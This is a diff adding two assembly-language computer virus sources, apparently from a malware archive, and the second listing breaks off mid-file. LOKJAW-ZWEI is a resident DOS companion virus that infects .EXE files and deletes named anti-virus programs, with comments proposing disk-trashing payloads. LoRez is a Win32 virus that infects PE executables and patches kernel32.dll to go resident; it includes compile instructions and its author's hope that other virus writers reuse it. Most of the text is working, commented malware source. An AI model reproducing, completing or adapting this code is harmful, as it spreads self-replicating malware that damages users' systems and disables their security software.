diff --git a/MSDOS/Virus.MSDOS.Unknown.lokjawz.asm b/MSDOS/Virus.MSDOS.Unknown.lokjawz.asm new file mode 100644 index 00000000..fd08389b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.lokjawz.asm @@ -0,0 +1,566 @@ +;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory +;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993. +; +;LOKJAW-ZWEI is a resident spawning virus which installs itself in +;memory using the same engine as the original Civil War/Proto-T virus. +;It is simpler in that none of its addresses have to be +;relative, an indirect benefit of the fact that the virus has no +;"appending" quality. That means, LOKJAW doesn't alter its "host" files, +;much like a number of other companion/spawning viruses published in +;previous newsletters. +; +;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating +;itself as companion .COMfile to the "host." Due to the inherent rules +;of DOS, this ensures the virus will be executed before the "host" the +;next time the infected program is used. In reality, LOKJAW is even +;simpler than that. If not in memory, the first time the host is +;called, LOKJAW will go resident and not even bother to load it. +;In most cases, the user will assume a slight error and call the host +;again, at which point it will function normally. LOKJAW will then infect +;every subsequent .EXE file called. LOKJAW is very transparent in operation, +;except when certain anti-virus programs (Integrity Master, McAfee's SCAN & +;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded. +;LOKJAW spawning variants are so simple they don't even need much in the +;way of installation checks. The virus simply becomes resident the first +;time it is called. Once in memory, when other infect file are executed +;LOKJAW merely looks over the loaded file, if it recognizes itself it +;discards the load and proceeds to execute the "infected" file as would +;be the case on an uninfected system. +; +;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly +;retaliating virus by quickly deleting the anti-virus program before it +;can execute and then displaying a "chomping" graphic. Even if the anti- +;virus program cannot detect LOKJAW in memory, it will be deleted. This +;makes it essential that the user know how to either remove the virus from +;memory before beginning anti-virus measures, or at the least run the +;anti-virus component from a write-protected disk. (If the LOKJAW viruses +;are present in memory and an anti-virus program is run from a write- +;protected disketter, it will, of course, generate "write protect" +;errors.) At a time when retail anti-virus packages are becoming more +;complicated - and more likely that the +;average user will run them from default installations on his hard file - +;LOKJAW's retaliating power makes it a potentially very annoying pest. +;A virus-programmer serious about inconveniencing a system could do a +;number of things with this basic idea. They are; +; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus +; instantly. +; 2. Alter the_stinger routine, so that the virus immediately attacks the +; hard file. The implementation is demonstrated by LOKJAW-DREI, which +; merely makes the disk inaccessible until a warm reboot if an anti-virus +; program is employed against it. By placing +; a BONA FIDE disk-trashing routine here, it becomes very hazardous for +; an unknowing user to employ anti-virus measures on a machine where +; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI, +; which does not try to delete anti-virus files, displays the "chomp" +; and mimics trashing the disk even when the anti-virus program is +; used from a write-protected diskette. Of course, the user will +; see no "write protect" error as with the other viruses. The disk merely +; becomes inacessible. +; +;These anti-anti-virus strategies are becoming more common in viral +;programming. +; +;Mark Ludwig programmed the features of a direct-action retaliating +;virus in his "Computer Virus Developments Quarterly." Peach, Groove and +;Encroacher viruses attack anti-virus software by deletion of files central +;to the functionality of the software. +; +;And in this issue, the Sandra virus employs a number +;of anti-anti-virus features. +; +;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and +;DREI infected files from a system, simply delete the "companion" .COM +;duplicates of your executables. Ensure that the machine has been booted +;from a clean disk. To remove the LOKJAW .COM-appending virus, at this +;time it will be necessary for you to restore the contaminated files from +;a clean back-up. +; +;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion" +;files in plain sight. Generally, spawning viruses make themselves +;hidden-read-only-system files. This is an easy hack and the code is supplied +;in earlier issues of the newsletter. The modification is left to +;the reader as an academic exercise. + + .radix 16 + cseg segment + model small + assume cs:cseg, ds:cseg, es:cseg + + org 100h + +oi21 equ endit +filelength equ endit - begin +nameptr equ endit+4 +DTA equ endit+8 + + + + + + +begin: jmp virus_install + +note: + db '[l™‡kõ„W-zW].į.šrć$ņd‰M–$' + db 'ÅH‹$.pā™Gā†m.Œ$.….{pā™Å”-Å].ūƒā‹†¤Å,$“āÅ.”Ÿ.' + db '€ā˜ž.„‰w$Ąä×īā' ; I.D. note: will probably be + ; documented in VSUM + + + ; install +virus_install: mov ax,cs ; reduce memory size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last memory + jne cancel ; block + mov ax,ds:[0003] + sub ax,100 ; decrease memory + mov ds:0003,ax +Zopy_virus: + mov bx,ax ; copy to claimed block + mov ax,es ; PSP + add ax,bx ; virus start in memory + mov es,ax + mov cx,offset endit - begin ; cx = length of virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin] ; point to start of virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in memory + + + +Grab_21: + + mov ds,cx ; hook interrupt 21h + mov si,0084h ; + mov di,offset oi21 + mov dx,offset check_exec + lodsw + cmp ax,dx ; + je cancel ; exit, if already installed + stosw + movsw + + push es + pop ds + mov ax,2521h ; revector int 21h to virus + int 21h + +cancel: ret + +check_exec: ; look over loaded files + pushf ; for executables + + push es ; push everything onto the + push ds ; stack + push ax + push bx + push dx + + cmp ax,04B00h ; is a file being + ; executed ? + + + jne abort ; no, exit + + + + + ;if yes, try the_stinger +do_infect: call infect ; then try to infect + + + + +abort: ; restore everything + pop dx + pop bx + pop ax + pop ds + pop es + popf + +bye_bye: + ; exit + jmp dword ptr cs:[oi21] + + +new_24h: + mov al,3 ; critical error handler + iret + +infect: + mov cs:[name_seg],ds ; this routine + mov cs:[name_off],dx ; essentially grabs + ; the name of the file + cld ; <-- + mov di,dx ; being loaded + push ds ; and copies it into a + pop es ; buffer where the virus + mov al,'.' ; can compare it to its + repne scasb ; "anti-virus" list, from + ; the_stinger routine + call the_stinger ; now, call Lokjaw's anti-virus + ; stinger + + ; no anti-virus, resume infection + + cld ; clear direction flags + mov word ptr cs:[nameptr],dx ; save pointer to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ; get old DTA + int 21h + push es + push bx + + push cs ; set new DTA + + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21h + + call searchpoint ; find filename for virus + push di + mov si,offset COM_txt ; is extension 'COM' ? + + mov cx,3 + rep cmpsb + pop di + jz do_com ; if so, go to out .COM routine + mov si,offset EXE_txt ; is extension .EXE ? + nop + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ; load .COM extent mask + nop + call change_ext ; change extension on filename.EXE + mov ax,3300h ; to .COM + nop + int 21h + push dx + + cwd + inc ax ; clear flags + push ax + int 21h + +Grab24h: + + mov ax,3524h ; get critical error handler vector + int 21h + push bx + push es + push cs ; set interrupt 24h to new handler + pop ds + mov dx,offset new_24h + mov ah,25h + push ax + int 21h + + + lds dx,dword ptr [nameptr] ; create the virus (with name) + xor cx,cx ; of EXE target + mov ah,05Bh ; + int 21 + jc return1 + xchg bx,ax ; save handle + + + + push cs + pop ds + mov cx,filelength ; cx = virus length + mov dx,offset begin + mov ah,40h ; write the virus to the created + int 21h ; file + + mov ah,3Eh ; close the file + int 21h + +return1: pop ax ; restore interrupt 24h + pop ds + pop dx + int 21h + + pop ax + pop dx ; restore Crtl-break flags + int 21h + + mov si,offset EXE_txt ; load .EXE mask + call change_ext ; and change the extension on + ; the filename back to original +return: mov ah,1Ah ; host + pop dx ; restore old DTA + pop ds + int 21H + + ret ; + +do_com: call findfirst ; is the .COMfile executed the virus? + cmp word ptr cs:[DTA+1Ah],endit - begin + jne return ; no, so exit + mov si,offset EXE_txt ; does the .EXE variant exist ? + call change_ext + call findfirst + jnc return ; + mov si,offset COM_txt ; load .COM extension + call change_ext ; change the filename and + jmp short return ; jump to exit + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,0 + repnz scasb + sub di,4 + ret +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21h + ret + +the_stinger: ; the_stinger compares the loaded filename with these defaults + cmp word ptr es:[di-3],'MI' ;Integrity Master + je jumptoass ; Stiller Research + + cmp word ptr es:[di-3],'XR' ; Virx = VIREX + je jumptoass ; if there's a match + ; go to assassinate file + cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP + jne next1 ; F-Prot + cmp word ptr es:[di-5],'TS' + je jumptoass + +next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV + je jumptoass ; Central Point + + cmp word ptr es:[di-3],'TO' ;*prot = F-prot + jne next2 + cmp word ptr es:[di-5],'RP' + je jumptoass + +next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. + jne next3 + cmp word ptr es:[di-5],'CS' + je jumptoass + + cmp word ptr es:[di-3],'NA' ; *lean = CLEAN. + jne next3 ; why not, eh? + cmp word ptr es:[di-5],'EL' + je jumptoass +next3: ret +jumptoass: ; assassinate anti-virus program + + mov ds,cs:[name_seg] ; points to + mov dx,cs:[name_off] ; filename to delete + + mov ax, 4301h ; clear attributes + mov cx, 00h + int 21h + jc chomp ; exit on error to visual + mov ah, 41h ; delete anti-virus file + int 21h ; exit on error to visual + jc chomp +chomp: + push cs ; chomper visual + pop ds + mov ah, 03h + int 10h + mov [c1], bh ; save cursor + mov [c2], dh + mov [c3], dl + mov [c4], ch + mov [c5], cl + mov ah, 1 + mov cl, 0 + mov ch, 40h + int 10h + + mov cl, 0 + mov dl, 4Fh + mov ah, 6 + mov al, 0 + mov bh, 0Fh + mov ch, 0 + mov cl, 0 + mov dh, 0 + mov dl, 4Fh + int 10h + + mov ah, 2 + mov dh, 0 + mov dl, 1Fh + mov bh, 0 + int 10h + + mov dx,offset eyes ; print the eyes + mov ah, 9 + mov bl, 0Fh + int 21h + + mov ah, 2 + mov dh, 1 + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DCh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov ah, 2 + mov dh, 18h + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DFh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov dl, 0 +chomp_1: + mov ah, 2 + mov dh, 2 + int 10h + + mov ah, 9 + mov al, 55h + mov bl, 0Fh + mov cx, 1 + int 10h + + mov ah, 2 + mov dh, 17h + inc dl + int 10h + + mov ah, 9 + mov al, 0EFh + mov bl, 0Fh + int 10h + + inc dl + cmp dl, 50h + jl chomp_1 + mov [data_1], 0 +chomp_3: + mov cx, 7FFFh ; delays + +locloop_4: + loop locloop_4 + + inc [data_1] + cmp [data_1], 0Ah + jl chomp_3 + mov [data_1], 0 + mov cl, 0 + mov dl, 4Fh +chomp_5: + mov ah, 6 + mov al, 1 + mov bh, [data_2] + mov ch, 0Dh + mov dh, 18h + int 10h + + mov ah, 7 + mov al, 1 + mov bh, [data_2] + mov ch, 0 + mov dh, 0Ch + int 10h + mov cx, 3FFFh ; delays + +locloop_6: + loop locloop_6 + inc [data_1] + cmp [data_1], 0Bh + jl chomp_5 + mov [data_1], 0 +chomp_7: + mov cx, 7FFFh ; delays + +locloop_8: + loop locloop_8 + inc [data_1] + cmp [data_1], 0Ah + jl chomp_7 + mov ah, 6 + mov al, 0 + mov bh, [data_2] + mov ch, 0 + mov cl, 0 + mov dh, 18h + mov dl, 4Fh + int 10h + + mov cl, 7 + mov ch, 6 + int 10h + + mov ah, 2 + mov bh, [c1] + mov dh, [c2] + mov dl, [c3] + int 10h + mov al, bh + mov ah, 5 + int 10h + mov ah, 1 + mov ch, [c4] + mov cl, [c5] + int 10h + mov ax, 0003h + int 10h ; sort of a cls + mov ax, 00ffh + ret + + + + + + + +EXE_txt db 'EXE',0 ; extension masks +COM_txt db 'COM',0 + +eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw + +data_1 db 0 +data_2 db 0 + +name_seg dw ? +name_off dw ? + +c1 db 0 +c2 db 0 +c3 db 0 +c4 db 0 +c5 db 0 + +note2: db 'Lokjaw-Zwei' + +endit: + + +cseg ends + end begin + + + diff --git a/MSDOS/Virus.MSDOS.Unknown.lorez.asm b/MSDOS/Virus.MSDOS.Unknown.lorez.asm new file mode 100644 index 00000000..59d7b5e9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.lorez.asm @@ -0,0 +1,808 @@ + +;** NOTE: original release assumed that this virus worked on WinNT, but I +;** never tested it. I later found out that it does not go memory resident +;** under WinNT, although it causes no system faults, etc. + +; +; LoRez v1 - By Virogen [NoP] +; +; This is my final research on Win32 resident kernel infection. LoRez is +; a memory-resident Win32 PE EXE Infector. It successfully operates on +; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus +; goes memory resident by infecting kernel32.dll. It changes the export +; RVA of GetFileAttributesA to that of the virus code. The next time the +; system boots, the virus goes memory resident and infects any PE EXE +; win32 calls GetFileAttributesA on. This includes any EXE executed as well +; as many those accessed in many other file manipulations. In order to +; get around the shared lock on kernel32.dll, LoRez copies the kernel +; to the windows directory and infects it there. This new copy of the +; kernel will be found before the original one in the system directory +; when the system is booted. +; +; In order to remove the use of static APIs addresses, LoRez searches +; the kernel32 export table in memory for the APIs which it requires. It +; does this by first determining the operating system. It finds this by +; checking a value on the stack and comparing it to the Win95/98 or WinNT +; kernel bases, which are static regardless of kernel version. If the +; operating system cannot be determined, then LoRez passes control back +; to the host without ever accessing any memory which might cause a fault. +; Once the kernel base is determined, LoRez finds the export table and +; then extracts the addresses of the APIs it needs. +; +; Virus Name: LoRez v1 +; Virus Author: Virogen [NoP] +; Release Date: 03-05-98 +; Operating Systems: Win95/WinNT/Win98 +; Hosts : PE EXE files +; Encryption: Removed, till I get a new poly engine coded +; File Date/Time: Unchanged +; File Attributes: Unchanged ; the virus resets and then restores them +; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO +; file size increase due to the alignment of the EXE. +; +; +; Past/Present/Future: +; - My first Win95 virus was Yurn released last week. This was my first +; attempt at windows resident infection and my first dive into the +; windows operating system. Yurn infected the kernel by changing the +; entry code of GetFileAttributesA to a call to the virus code. Yurn +; was limited because it depended on static APIs and kernel versions +; hardcoded into it. I regret releasing it in regards to the +; superority of its spawn LoRez which was released only a week +; later. However, the Yurn release helped me to acquire many new +; insights from my virus colleagues. Release date: 02-25-98. +; +; - LoRez is my attempt at full Win32 infection without the use of +; static APIs. LoRez is far superior to Yurn in many respects. +; It has been a great success and I think will open up a new era of +; Win32 infection. The techniques LoRez uses opens the Win32 platform +; to many new possibilities. All that is left now is to add more +; advanced features such as polymorphism and stealth. I sincerely hope +; that virus authors will find this code useful in creating their own +; kernel infectors. Release date: 03-05-98 +; +; - The future: I will release a 32-bit polymorphic engine next, +; along with a new and better virus using the techniques I've +; researched here. This is ofcourse, provided I can finish it +; before Mar 16 (I'll be gone from the computer world for 3 +; months). If not, then I look forward to seeing the new virus +; code my colleagues have written in my absence. +; +; How to contact me : try effnet #virus +; +; Greetz - +; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman, +; VirusBuster, and others. +; +; +; HOW TO COMPILE LOREZ: +; I use TASM32 v5. Included is a makefile for LOREZ. After you compile +; the virus, just take out your handy hex editor and change the flags +; of the code object to 0E0000040h. Note that this is stored in intel +; reverse dd at offset 21Ch in LOREZ.EXE. +; +; +; +; +; +.386 +locals +jumps +.model flat,STDCALL + +L equ + +extrn ExitProcess : PROC ; this is so the import table + ; won't be empty. Is not used + ; in the virus. You'll need + ; IMPORT32.LIB for this one. + +org 1000h +.data ; our lonely data object +progname db 'LoRez Virus host (c)Virogen',0 +.code ; .code - change flags after compile + ; to r/w/x +;----------------------------------------------------------------------------- +; +start: ; the would-be host + push 0 + call [ExitProcessAPI] ; exit process + +;----------------------------------------------------------------------------- +; +; LoRez virus starts here +; +MAX_HDR equ 0250h ; we shouldn't need more than this +ID_OFF equ 0ch ; offset in header for our marker +VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here +VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size +MEM_ID equ 12345678h ; our communcation needs +; +; +vstart: + call geteip ; find relative offset +geteip: + mov ebp,[esp] ; grab it off stack + mov eax,ebp ; used below + sub ebp,offset geteip ; fix it up + add esp,4 ; fix da stack + + db 2dh ; sub eax + host_addr dd (offset geteip-offset start) + push eax ; subtract entry point differ + ; to get orginal entry VA + + mov edx,[esp+4] ; determine OS + and edx,0fff00000h + mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000 + cmp edx,0bff00000h ; Win95? + jz good_os + mov eax,edx ; our NT kernel at 77F00000 + cmp edx,077f00000h ; WinNT? + jnz goto_host ; abort if neither + +good_os: +; +; a brief explanation of the organization of the export table would be +; useful here. Ok, basically there are three tables within the export +; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal +; Table (16bit). Ok, the ordinal number of an API is the entry number of +; the API in the RVA array. So, multiply the ordinal number by four and +; you've got an index into the API RVA Table. Probably you don't already +; have the ordinal number though, so you'll have to find it. To do this, +; you use the Name Pointer Table. This is an array of pointers to the +; asciiz name of each API. When you find the pointer of the API you're +; looking for by string compares, you take the index number of it and +; multiply it by 2 (because the ordinal table is 16bit). Index the result +; in the ordinal table, and you're all set. +; +; + mov [ebp+imagebase],eax ; save kernel base + mov esi,eax + add esi,[esi+3ch] ; relative ptr to PE header + cmp word ptr [esi],'EP' ; make sure we're on right track + jnz goto_host ; if not.. abort + mov esi,[esi+120] ; get export table RVA + add esi,eax ; relative to image base + mov edi,[esi+36] ; get ordinal table RVA + add edi,eax ; relative to image base + mov [ebp+ordinaltbl],edi ; save it + mov edi,[esi+32] ; get name ptr RVA + add edi,eax ; is relative to image base + mov [ebp+nameptrtbl],edi ; save it + mov ecx,[esi+24] ; get number of name ptrs + mov esi,[esi+28] ; get address table RVA + add esi,eax ; is relative to image base + mov [ebp+adrtbl],esi ; save it + + xor edx,edx ; edx is our ordinal counter + ; edi=name ptr table + ; ecx=number of name ptrs + lea esi,[ebp+APIs] ; -> API Name ptrs + mov [ebp+ourAPIptr],esi ; save it + lea eax,[ebp+API_Struct] ; our API address will go here + mov [ebp+curAPIptr],eax ; save it +chk_next_API_name: + mov esi,[ebp+ourAPIptr] ; get ptr to structure item + mov ebx,[esi] ; load ptr to our API name + add ebx,ebp ; add relative address + mov esi,[edi] ; get API name RVA + add esi,[ebp+imagebase] ; relative to image base +compare_API_name: + lodsb + cmp al,byte ptr [ebx] ; compare a byte of names + jnz not_our_API ; it's not our API + cmp al,0 ; end of string? + jz is_our_API ; it's our API + inc ebx + jmp compare_API_name + +not_our_API: + inc edx ; increment API counter + cmp edx,ecx ; last entry of name ptr table? + jz goto_host ; uhoh.. we didn't find one + ; of our APIs.. abort it all + add edi,4 ; increment export name ptr idx + mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct + jmp chk_next_API_name + +is_our_API: + + mov edi,[ebp+ordinaltbl] ; load oridinal table RVA + push ecx + push edx + xchg edx,eax ; edx=API number + add eax,eax ; *2 cuz ordinals are words + add edi,eax ; add to ordinal table VA + mov ax,[edi] ; get ordinal (word) + xor edx,edx + mov ecx,4 + mul ecx ; *4 cuz address tbl is dd's + mov edi,[ebp+adrtbl] ; load address table VA + add edi,eax ; set idx to API + mov eax,edi + sub eax,[ebp+imagebase] ; get the VA of the entry + mov [ebp+originalRVAptr],eax ; save it for kernel infection + ; notice that our last API + ; in the array is the one we + ; hook + mov eax,[edi] ; get API RVA + mov [ebp+originalRVA],eax ; save it for kernel infection + add eax,[ebp+imagebase] ; is relative to image base + mov edi,[ebp+curAPIptr] ; idx to storage stucture + mov [edi],eax ; save VA of API + add edi,4 ; increment index + mov [ebp+curAPIptr],edi ; save + + pop edx + pop ecx + + mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx + mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs + add esi,4 ; increment idx API name ptr structure + mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr + cmp dword ptr [esi],0 ; end of our API structure? + jz found_all ; if so then we got 'em all + mov edi,[ebp+nameptrtbl] ; reset idx to export name pt + xor edx,edx ; reset API counter + jmp chk_next_API_name + +; +; now we're done finding all of our API VAs +; + +found_all: + + mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag + + lea eax,[ebp+fname] + push eax ; save for below + push 0FFh ; max buffer size + push eax ; ptr + call [ebp+GetSysDirAPI] ; get system directory + + pop edi + add edi,eax ; find end of directory name + push edi ; where the filename needz to go + + lea eax,[ebp+copyfname] + push eax ; save for below + push 0ffh + push eax + call [ebp+GetWinDirAPI] ; get windoze directory + + pop edi + add edi,eax + + lea esi,[ebp+kernfile] + call copy_str ; append \kernel32.dll to windoze dir + + pop edi ; restore windoze sys dir + lea esi,[ebp+kernfile] + call copy_str ; append kernel32.dll to windoze sys dir + + push 0 + lea eax,[ebp+copyfname] ; from sys dir + push eax + lea eax,[ebp+fname] ; to win dir + push eax + call [ebp+CopyFileAPI] ; copy kernel to windows dir + + cmp eax,0 ; if error then we're prob. + jz goto_host ; already in memory + + lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll + mov [ebp+fnameptr],eax ; set file ptr + + call infect_file ; infect the kernel + +goto_host: + + pop eax ; restore entry VA + jmp eax ; jmp to host entry VA + +;----------------------------------------------- +; infect file - call with fnameptr set +; +infect_file: + + mov eax,[ebp+fnameptr] + push eax + mov ecx,MEM_ID ; let us know its us + call [ebp+GetAttribAPI] ; get file attributes + mov [ebp+oldattrib],eax + + cmp eax,-1 ; if error then maybe shared + jnz not_shared + ret ; can't infect it + +not_shared: + push 20h ; +A + mov eax,[ebp+fnameptr] + push eax + call [ebp+SetAttribAPI] ; clear 'da attribs + + call open_default_file + + cmp eax,-1 + jnz open_ok + ret + +open_ok: + + lea eax,[ebp+creation] ; creation time + push eax + lea eax,[ebp+lastaccess] ; last accessed + push eax + lea eax,[ebp+lastwrite] ; last writen to + push eax + push [ebp+handle] + call [ebp+GetFileTimeAPI] ; grab the file time + + mov ecx,50h ; read MZ EXE header + lea edx,[ebp+peheader] ; (if that's what it is) + call read_file + + cmp word ptr [ebp+peheader],'ZM' ; is EXE? + jnz abort_infect + + mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is + mov [ebp+ptrpeheader],eax ; save it + call setfp + + call setfp_pehdr + + mov ecx,MAX_HDR ; now read the pe header + lea edx,[ebp+peheader] + call read_file + + cmp [ebp+bytesread],MAX_HDR ; could we read it all? + jnz abort_infect ; something funky if no + + cmp word ptr [ebp+peheader],'EP' ; PE? + jnz abort_infect + cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here? + jnz abort_infect ; if yes, infected + cmp byte ptr [ebp+infkern],1 ; infecting kernel? + jz skip_base_chk ; if so then its ok to be DLL + cmp dword ptr [ebp+imagebase],00400000h ; executables should have this + jnz abort_infect ; base, DLLs probably not. +skip_base_chk: + + call [ebp+GetTickCountAPI] ; get tick count + mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag + + xor esi,esi + mov si, word ptr [ebp+NtHeaderSize] ; get header size + add esi,18h ; object table is here + mov dword ptr [ebp+ObjTbloff],esi + + lea eax,[ebp+peheader] ; is relative to PE hdr RVA + add esi,eax ; esi->object table + mov [ebp+objtblVA],esi ; save the object table VA + xor eax,eax + mov ax,[ebp+numObj] ; get number of objects + dec eax ; we want last object + mov ecx,40 ; each object 40 bytes + xor edx,edx + mul ecx ; numObj-1*40=last object + add esi,eax ; esi->last obj + + lea eax,[ebp+peheader+MAX_HDR-40] + cmp esi,eax ; if it's out of our range + jg abort_infect ; then about this here shit + + mov eax,[esi+20] ; get last object physical off + mov [ebp+lastobjimageoff],eax ; save it + + mov ecx,dword ptr [ebp+filealign] ; get file alignment + mov eax,[esi+16] ; get physical size of object + mov [ebp+originalpsize],eax ; save it 4 later + push eax + add eax,vend-vstart ; size of our code + call align_fix ; set on file alignment + mov dword ptr [esi+16],eax ; save new physical size + + mov ecx,dword ptr [ebp+objalign] ; get object alignment + push ecx ; save for below + mov eax,[esi+8] ; get object virtual size + add eax,VIRTUAL_SIZE ; add our virtual size + call align_fix ; set on obj alignment + mov dword ptr [esi+8],eax ; save new virtual size + + pop ecx + mov eax,VIRTUAL_SIZE ; how big we is + add eax,dword ptr [ebp+imagesize] ; add to old image size + call align_fix ; set on obj alignment + mov dword ptr [ebp+imagesize],eax ; save new imagesize + + mov [esi+36],0E0000040h ; set object flags r/x/x + + pop eax ; restore orginal physical size + add eax,[esi+12] ; add last object's RVA + ; eax now RVA of virus code + mov [ebp+virusRVA],eax ; save it + cmp byte ptr [ebp+offset infkern],0 ; do our kernel32? + jz new_entry ; nope.. regular PE + +;--- our kernel infection starts here --- +; +; This is really fairly simple. First thing we need to do is find the +; image offset of the export table entry for the API we're hooking. We +; do this by locating the object that contains the export table. Then, +; we subtract the image offset of the object from the virtual offset +; of the object. The difference is then subtracted from the previously +; saved RVA of the table entry. =image offset +; +; The different Win32 kernels have different objects which their +; export table is located in. The Win95 kernels have it located in +; .edata, while win98 puts it in .text, winNT decides to throw the +; shit in .rdata. How do we determine which kernel is which, and which +; object to calculate the image offset by? Simple, Win95 is the only +; kernel that contains .edata, WinNT is the only kernel which contains +; .rdata, and Win98 is the only kernel which doesn't contain either. +; +; Once we extrapolate the image offset of the export table entry for the +; RVA of the API we're hooking, we just save the old RVA, and put our +; RVA in its place. +; +; + mov esi,[ebp+objtblVA] ; load object table VA + xor ecx,ecx + mov cx,[ebp+numObj] ; get number of objects + dec ecx + xor edx,edx ; we'll store our virtual- + ; physical difference here +calc_fo_loop: + cmp dword ptr [esi],'ade.' ; is it .edata? for win95 + jz end_calc_fo_loop ; if so we can reference it + cmp dword ptr [esi],'xet.' ; is it .text? for win98 + jnz not_text + mov [ebp+objtext],esi ; save table entry offset +not_text: + cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT + jz end_calc_fo_loop ; if rdata exists, then + ; our export shit is there + add esi,40 ; to next object we go + dec ecx ; decrement # of objects + jnz calc_fo_loop ; if not been thru all loop + mov esi,[ebp+objtext] ; if .edata or .rdata, then +end_calc_fo_loop: ; it must be .text + mov edx,[esi+12] ; get the object virtual off + sub edx,[esi+20] ; subtract physical offset + mov eax,[ebp+originalRVAptr] ; get table entry rva + sub eax,edx ; subract difference + + mov [ebp+FileOff],eax ; save table entry image off + call setfp ; set file pointer to it + + mov ecx,4 ; read RVA + lea edx,[ebp+chkRVA] + call read_file ; and check it to make sure + ; we've got it right + mov eax,[ebp+chkRVA] + cmp eax,[ebp+originalRVA] ; is it the right RVA? + jnz abort_infect ; if not abort infection + + mov eax,[ebp+FileOff] ; get image offset + call setfp ; set file ptr to table entry + + mov eax,[ebp+virusRVA] ; get virus RVA + add eax,(offset hook-offset vstart) ; find our API hook RVA + + lea esi,[ebp+hookRVA] ; to be written + mov [esi],eax ; save hook RVA + mov ecx,4 ; dd + call write_code ; write the new hook RVA + + mov eax,[ebp+originalRVA] ; get orginal API RVA + add eax,[ebp+imagebase] ; relative to image base + mov [ebp+jmpback],eax ; save it + + jmp calc_reloc ; skip entry point change.. + +;------------------------------------------------------- +; our PE EXE infection +; +new_entry: + mov eax,[ebp+virusRVA] ; eax=virus RVA + mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point + mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry + +calc_reloc: + add eax,(offset geteip-offset vstart) ; fix for our reloc call + sub eax,ebx ; difference of entry pts + mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff + ; virusVA-diff=entryVA + + call setfp_pehdr ; back to PE header + + lea esi,[ebp+peheader] ; write the new PE header + mov ecx,MAX_HDR + call write_code ; to the host + + mov eax,[ebp+originalpsize] ; restore original physical size + add eax,[ebp+lastobjimageoff] ; add object physical offset + call setfp ; set ptr to end of object + + lea esi,[ebp+vstart] + mov ecx,VIRUS_SIZE + call write_code ; write the virus code to the host + +abort_infect: + + lea eax,[ebp+creation] ; creation time + push eax + lea eax,[ebp+lastaccess] ; last accessed + push eax + lea eax,[ebp+lastwrite] ; last writen to + push eax + push [ebp+handle] + call [ebp+SetFileTimeAPI] ; restore orginal file time + + call close_file ; we're done + + mov eax,[ebp+oldattrib] ; get original attribs + push eax + mov eax,[ebp+fnameptr] + push eax + call [ebp+SetAttribAPI] ; restore the original attributes + ret + +;--------------------------------------------------------------- +; close handle at [handle] +; +close_file: + push dword ptr [ebp+offset handle] + call [ebp+CloseFileAPI] + ret + +;--------------------------------------------------------------- +; opens file with ptr to filename at [fnameptr] +; +open_default_file: + mov eax,[ebp+fnameptr] +;--------------------------------------------------------------- +; opens file, pass eax->filename +; +open_file: + push 0 + push 20h ; r+w + push 3 ; 3=open existing file + push 0 + push 0 + push 0C0000000h ; open for r+w + push eax + call [ebp+CreateFileAPI] + mov [ebp+handle],eax ; save handle + ret + +;--------------------------------------------------------------- +; read handle +; pass ecx=bytes to read, edx=offset for bytes read +; +read_file: + push 0 + lea eax,[ebp+bytesread] + push eax + push ecx + push edx + push [ebp+handle] + call [ebp+ReadFileAPI] + ret + +;-------------------------------------------------------------- +; sets eax on alignment of ecx +; +align_fix: + xor edx,edx + div ecx ; /alignment + inc eax ; next alignment + mul ecx ; *alignment + ret + +;-------------------------------------------------------------- +; set file pointer to PE header +setfp_pehdr: + mov eax,[ebp+ptrpeheader] + +;-------------------------------------------------------------- +; set file ptr of [handle] +; pass eax=offset from beginning +; +setfp: + push 0 + push 0 + push eax + push [ebp+handle] + call [ebp+SetFilePtrAPI] + ret + +;------------------------------------------------------------- +; write to [handle] +; pass ecx=bytes to write, esi->source +; +write_code: + push 0 + lea eax,[ebp+bytesread] + push eax + push ecx + push esi + push [ebp+handle] + call [ebp+WriteFileAPI] + ret + + +;------------------------------------------------------------- +; copy 